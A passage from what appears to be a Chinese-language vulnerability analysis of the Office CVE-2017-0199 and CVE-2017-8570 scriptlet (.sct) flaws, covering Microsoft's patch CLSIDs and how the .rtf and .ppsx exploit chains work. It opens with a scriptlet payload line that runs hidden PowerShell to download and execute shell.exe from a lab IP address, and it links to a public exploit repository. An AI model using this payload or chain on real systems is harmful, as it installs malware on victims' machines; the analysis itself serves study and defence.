new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://192.168.134.131/shell.exe\', \'c:/windows/temp/shell.exe\'); c:/windows/temp/shell.exe');
]]>
</script>
</component>
</package>

下载了木马文件并执行。

3.5 Vulnerability Patch

微软修复CVE-2017-0199实际上是在Office中禁用了htafile对象和script对象,而没有禁用ScriptletFile对象,由于通过Composite Moniker的方式可以执行ScriptletFile(.sct)脚本,相当于绕过了CVE-2017-0199的补丁修复,所以在针对CVE-2017-8570的补丁修复中,微软禁用了ScriptletFile对象:

2017年4月,修复CVE-2017-0199,禁用htafile对象和script对象

禁用的CLSID ProgID CVE
{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} htafile CVE-2017-0199
{06290BD3-48AA-11D2-8432-006008C3FBFC} script CVE-2017-0199

2017年7月,修复CVE-2017-8570,禁用ScriptletFile对象

禁用的CLSID ProgID CVE
{06290BD2-48AA-11D2-8432-006008C3FBFC} ScriptletFile CVE-2017-8570

IV、Summarize

我们梳理一下.rtf.ppsx两种漏洞利用的过程(实际上使用.docx等文件格式也可以达到漏洞利用的效果,漏洞实际上就是对.sct文件的利用)

.rtf:该类型文件内部最少需要两个OLE Object,分别为OLE Package object 与 OLE2Link,OLE Package object 在受害者打开rtf文档后自动释放xxxx.sct 文件到%tmp%目录下。而OLELink会直接加载%tmp%目录下的xxx.sct脚本执行。.sct文件中存放了shellcode,执行了.sct文件即执行了shellcode。

.ppsx:该类型文件内部最少需要一个OLE Object,一般为OLE2Link。OLELink直接加载网络上的doc后缀的sct文件,http请求的Content-Type 为scriptle,同样,网络上的docx后缀的sct文件中存放了shellcode,OLELink加载执行网络上的doc后缀的sct文件即执行了shellcode。

这两种漏洞的利用方式主要区别为sct文件存放在本地还是在网络上。

  1. https://github.com/rxwx/CVE-2017-8570 # exp
  2. https://www.freebuf.com/vuls/161607.html # 奇安信的分析
  3. https://zhuanlan.kanxue.com/article-11755.htm
  4. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8750
 Comments